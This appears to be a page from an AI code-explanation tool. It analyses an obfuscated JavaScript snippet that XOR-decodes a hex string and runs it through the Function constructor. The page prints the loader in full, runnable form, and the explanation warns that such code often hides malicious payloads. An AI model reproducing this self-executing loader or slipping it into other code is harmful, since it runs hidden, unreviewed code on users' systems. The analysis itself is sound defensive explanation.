This code is a JavaScript snippet that performs obfuscation and...

July 2, 2025 at 06:24 PM

S = 'xxxxxx'; (() => { const i = "bdd65fd0865d8e48898806a4", j = "150d0a525a114a5c57555410510a5a16504b5d5e100b4155160b061e55072c62581d12545b2d13131a740e74121d434d5a1d461d55043057581d12505a571313585a4d62501d015a340e041d123f09091f1d121174081313586f4274501d46042452431d55373254581d5529593254131a77086e121d46042055431d552b1e7e581d122b620c13131a01531a191d320f"; const u = j.match(/.{2}/g), T = []; for (let B = 0; B < u.length; B++) { T.push(String.fromCharCode(parseInt(u[B], 16) ^ i.charCodeAt(B % i.length))); } const s = T.join(''); const A = { toString: () => { const r = [][ [115,111,109,101].map(y => String.fromCharCode(y)).join('') ][ [99,111,110,115,116,114,117,99,116,111,114].map(y => String.fromCharCode(y)).join('') ]; return r(s)(), 1; } }; A + ''; })(); ]]>

This code is a JavaScript snippet that performs obfuscation and evaluates dynamic code, essentially hiding its purpose.

Breaking down the functionality:

  1. Input String and Key:

    • i is a string key "bdd65fd0865d8e48898806a4".
    • j is a long hexadecimal string containing encoded information.
  2. Hexadecimal Decoding and XOR:

    • The variable j is divided into chunks of 2 characters (pairs) using .match(/.{2}/g), producing an array u where each element represents a byte in hexadecimal format.
    • A loop iterates over this array u, converts each hexadecimal byte into a number (parseInt(u[B], 16)) and XORs it with the character from the key i using i.charCodeAt(B % i.length).
    • The XOR operation produces decoded values, which are converted to characters using String.fromCharCode, storing them in an array T.
  3. Join Decoded Characters:

    • The array T is joined into a string s, which is the decoded result of the initial hexadecimal string j using the key i.
  4. Dynamic Function Evaluation:

    • The A object is defined with a toString method. Inside it:
      • A function is dynamically constructed using arrays of ASCII codes for the strings 'some' and 'constructor'. These together refer to [].some.constructor, which is effectively the Function constructor in JavaScript.
      • Using this constructor, the decoded string s is interpreted as JavaScript code that is executed.
  5. Final Execution:

    • The code execution is triggered when A + '' is evaluated, because it coerces the object A to a string, calling its toString method. This evaluates the decoded string s as JavaScript code.

Outcome:

The exact behavior depends on the decoded string s, which remains obfuscated in the j hexadecimal string.

Purpose:

This type of obfuscation is often used to:

  1. Hide malicious payloads (such as executing harmful scripts).
  2. Prevent reverse-engineering to make it harder to determine what code is doing.

Caution: Without knowing what the string s contains after decoding, be very cautious when running this code. It could execute arbitrary, potentially harmful code depending on the content of s.

Generate your own explanations
Download our vscode extension
Read other generated explanations

Built by @thebuilderjr
Sponsored by beam analytics
Read our terms and privacy policy
Forked from openai-quickstart-node